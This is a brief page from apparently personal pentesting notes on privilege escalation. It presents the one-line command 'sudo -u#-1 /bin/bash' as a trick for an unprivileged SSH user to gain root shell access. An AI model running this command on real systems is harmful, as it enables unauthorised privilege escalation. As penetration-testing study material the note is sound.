> For the complete documentation index, see [llms.txt](https://davidtancredi.gitbook.io/pentesting-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://davidtancredi.gitbook.io/pentesting-notes/r3dcl1ff/privesc/sudo-+-gtfobins/sudo-u-1-bin-bash.md).

# sudo -u#-1 /bin/bash

Nice trick if you are logged in with an ssh user that doesn't have root privileges (but there is another one that does)

Try:

`sudo -u#-1 /bin/bash`

This might give immediate root access
